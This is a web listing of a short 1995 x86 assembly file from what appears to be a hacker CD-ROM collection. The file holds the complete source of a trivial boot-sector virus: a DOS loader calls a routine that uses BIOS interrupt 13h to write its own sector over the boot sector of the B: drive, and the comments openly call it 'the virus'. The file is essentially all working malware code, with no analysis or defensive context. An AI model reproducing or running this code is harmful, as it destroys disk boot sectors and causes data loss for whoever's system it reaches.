home *** CD-ROM | disk | FTP | other *** search
/ HaCKeRz Kr0nlcKLeZ 1 / HaCKeRz Kr0nlcKLeZ.iso / chibacity / gbbdisk.arj / INTRBOOT / TRIVBOOT.ASM < prev    next >
Encoding:
Assembly Source File  |  1995-03-01  |  691 b   |  23 lines

  1. .model  small
  2. .code
  3.  
  4.         ORG     100H
  5.  
  6. START:  call    TRIV_BOOT               ;loader just calls the virus
  7.         ret                             ;and exits to DOS
  8.  
  9.         ORG     7C00H
  10.  
  11. TRIV_BOOT:
  12.         mov     ax,0301H                ;write one sector
  13.         mov     bx,7C00H                ;from here
  14.         mov     cx,1                    ;to Track 0, Sector 1, Head 0
  15.         mov     dx,1                    ;on the B: drive
  16.         int     13H                     ;do it
  17.         mov     ax,0301H                ;do it again to make sure it works
  18.         int     13H
  19.         ret                             ;and halt the system
  20.  
  21.         END     START
  22.  
  23.